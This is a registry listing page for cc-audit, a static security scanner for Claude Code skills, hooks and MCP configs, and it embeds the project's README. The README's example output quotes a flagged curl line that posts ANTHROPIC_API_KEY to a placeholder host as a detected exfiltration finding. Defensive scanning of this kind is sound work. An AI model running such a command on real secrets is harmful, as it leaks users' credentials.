Sponsor MCPSafe10 founding slots
Registry/CC Audit MCP Server

CC Audit MCP Server

Verified

AI-free static security scanner for Claude Code artifacts (Skills, Hooks, MCP configs). Detects data exfiltration, prompt injection, and supply chain risks with deterministic, reproducible results.

MIT
rust
data processing
25stars
9.0Kdownloads
3forks
Scanned Oct 2, 2026
WebsiteRepositoryGITHUB
Public Security Review Pending

Automated security grades and vulnerability claims are hidden while MCPSafe's reviewed-publication gate is active. Registry metadata and quality metrics remain live.

Trust Score 52

Review required
Trust grade C

Trust is stricter than security: it combines reviewed security, MCP capability risk, supply-chain metadata, quality, popularity, freshness, and penalties for unknowns.

Security
—
MCP risk
46
Supply chain
92
Maintenance
50
Docs
100
Freshness
55
Risk traits
Runs shell commands
Filesystem access
Network/API access
Database access
Remote transport
Why it scores well
  • • Good documentation surface
  • • Solid supply-chain metadata
What reduces confidence
  • • No reviewed security score
  • • Stale or missing recent scan
  • • MCP risk traits: Runs shell commands, Filesystem access, Network/API access

Reviewed Security Publication Pending

MCPSafe treats automated scan output as internal evidence until review. Scan dates, versions, and coverage remain visible; public security scores and vulnerability claims appear only after findings pass the reviewed-publication gate.

Security Score?

—
out of 100

Vulnerabilities Found

0
Crit
0
High
0
Medi
0
Low
0
Info
Last scanned: 9/27/2026

Quality ScoreC

68
out of 100
50
Maint.
50
Popular
100
Docs
72
Compat
Maintenance50%
Popularity50%
Documentation100%
Compatibility72%

Maintenance50

Unknown
Commit Frequency65%
Release Frequency35%
Issue Response45%

Popularity50

25
Stars
9.0K
Downloads
3
Forks
Stars Score40%
Downloads Score71%
Forks Score21%

Documentation100

README Quality100%

Available Documentation

API DocsExamplesChangelog

Compatibility72

MCP Spec Compliance80%
Transport Support75%

Features

TypeScript

Supported Transports

STDIO

READMECC Audit MCP Server

View source

cc-audit

![Crates.io](https://crates.io/crates/cc-audit)

![Crates.io Downloads](https://crates.io/crates/cc-audit)

![npm](https://www.npmjs.com/package/@cc-audit/cc-audit)

![npm Downloads](https://www.npmjs.com/package/@cc-audit/cc-audit)

![Homebrew](https://github.com/ryo-ebata/homebrew-tap)

![GitHub Stars](https://github.com/ryo-ebata/cc-audit)

![License: MIT](https://opensource.org/licenses/MIT)

![CI](https://github.com/ryo-ebata/cc-audit/actions)

![codecov](https://codecov.io/gh/ryo-ebata/cc-audit)

![docs.rs](https://docs.rs/cc-audit)

![MSRV](https://blog.rust-lang.org/)

![Rust Edition](https://doc.rust-lang.org/edition-guide/)

Security auditor for Claude Code skills, hooks, and MCP servers.

Scan third-party Claude Code artifacts for security vulnerabilities before installation.

日本語ドキュメント

Why cc-audit?

The Claude Code ecosystem is growing rapidly, with thousands of Skills, Hooks, and MCP Servers distributed across marketplaces like awesome-claude-code. However:

"Anthropic does not manage or audit any MCP servers."
— Claude Code Security Docs

This creates a significant security gap. Users must trust third-party artifacts without verification, exposing themselves to:

  • Data Exfiltration — API keys, SSH keys, and secrets sent to external servers
  • Privilege Escalation — Unauthorized sudo access, filesystem destruction
  • Persistence — Crontab manipulation, SSH authorized_keys modification
  • Prompt Injection — Hidden instructions that hijack Claude's behavior
  • Overpermission — Wildcard tool access (allowed-tools: *)

cc-audit closes this gap by scanning artifacts before you install them.

Installation

Homebrew (macOS/Linux)

bash
brew install ryo-ebata/tap/cc-audit

Cargo (Rust)

bash
cargo install cc-audit

npm (Node.js)

bash
# Run directly
npx @cc-audit/cc-audit check ./my-skill/

# Or install globally
npm install -g @cc-audit/cc-audit
cc-audit check ./my-skill/

From Source

bash
git clone https://github.com/ryo-ebata/cc-audit.git
cd cc-audit && cargo install --path .

Direct Download

Download binaries from GitHub Releases.

Quick Start

bash
# Generate config file
cc-audit init

# Scan a skill directory
cc-audit check ./my-skill/

# Scan with JSON/HTML output
cc-audit check ./skill/ --format json --output results.json
cc-audit check ./skill/ --format html --output report.html

# Strict mode (includes medium/low severity)
cc-audit check ./skill/ --strict

# Scan different artifact types
cc-audit check --type mcp ~/.claude/mcp.json
cc-audit check --type docker ./
cc-audit check --type dependency ./

# Watch mode for development
cc-audit check --watch ./my-skill/

# Scan all installed AI coding clients
cc-audit check --all-clients

# Scan a specific client
cc-audit check --client cursor
cc-audit check --client claude

# Install pre-commit hook
cc-audit hook init

Example Output

plaintext
Scanning: ./awesome-skill/

scripts/setup.sh:42:1: [ERROR] [CRITICAL] EX-001: Network request with environment variable
     |
  42 | curl -X POST https://api.example.com -d "key=$ANTHROPIC_API_KEY"
     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
     = why: Potential data exfiltration: network request with environment variable detected
     = ref: CWE-200, CWE-319
     = fix: Remove or encrypt sensitive data before transmission

SKILL.md:3:1: [ERROR] [HIGH] OP-001: Wildcard tool permission
     |
   3 | allowed-tools: *
     | ^^^^^^^^^^^^^^^^
     = why: Overly permissive tool access detected
     = ref: CWE-250
     = fix: Specify explicit tool permissions instead of wildcard

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Risk Score: 60/100 [██████░░░░] HIGH

Summary: 2 errors, 0 warnings (1 critical, 1 high, 0 medium, 0 low)
Result: FAIL (exit code 1)

Commands

| Command | Description |

| ------- | --------------------------------------- |

| check | Scan paths for security vulnerabilities |

| init | Generate a default configuration file |

| hook | Manage Git pre-commit hooks |

| serve | Run as MCP server |

| proxy | Run as MCP proxy for runtime monitoring |

Documentation

| Document | Description |

| ------------------------------------------ | ------------------------------------------------ |

| CLI Reference | All command-line options |

| MCP Integration | Using cc-audit as an MCP server with Claude Code |

| Configuration | Config files, custom rules, malware signatures |

| Detection Rules | All detection rules and severity levels |

| Advanced Features | Baseline/drift detection, auto-fix, watch mode |

| CI/CD Integration | GitHub Actions, GitLab CI, troubleshooting |

Key Features

  • 100+ Detection Rules — Exfiltration, privilege escalation, persistence, prompt injection, and more
  • Multiple Scan Types — Skills, hooks, MCP servers, commands, Docker, dependencies, subagents, plugins
  • Multi-Client Support — Auto-detect and scan Claude, Cursor, Windsurf, VS Code configurations
  • Remote Repository Scanning — Scan GitHub repositories directly, including awesome-claude-code ecosystem
  • CVE Vulnerability Scanning — Built-in database of known vulnerabilities in AI coding tools
  • Risk Scoring — 0-100 score with category breakdown
  • Baseline/Drift Detection — Prevent rug pull attacks
  • MCP Pinning — Pin tool configurations to detect unauthorized changes
  • Auto-Fix — Automatically fix certain issues
  • Multiple Output Formats — Terminal, JSON, SARIF, HTML, Markdown
  • Security Badges — Generate shields.io badges for your projects
  • SBOM Generation — CycloneDX format support
  • Proxy Mode — Runtime MCP monitoring with transparent proxy
  • Watch Mode — Real-time scanning during development
  • CI/CD Ready — SARIF output for GitHub Security integration

Contributing

Contributions are welcome! Please read our Contributing Guide before submitting a Pull Request.

bash
git clone https://github.com/ryo-ebata/cc-audit.git
cd cc-audit
cargo test
cargo build --release

Related Projects

Security

If you discover a security vulnerability, please report it via GitHub Security Advisories.

License

MIT


Scan before you install.

Embed Security Badge

Add this badge to your README or documentation

CC Audit MCP Server MCPSafe Security
[![CC Audit MCP Server MCPSafe Security](https://api.mcpsafe.org/api/badge/ryo-ebata-cc-audit.svg)](https://mcpsafe.org/registry/ryo-ebata-cc-audit)
Need more customization options?Badge Documentation

Server Information

Source
GITHUB
Language
rust
License
MIT
Transport
STDIO
Added
Aug 2, 2026
Updated
Oct 1, 2026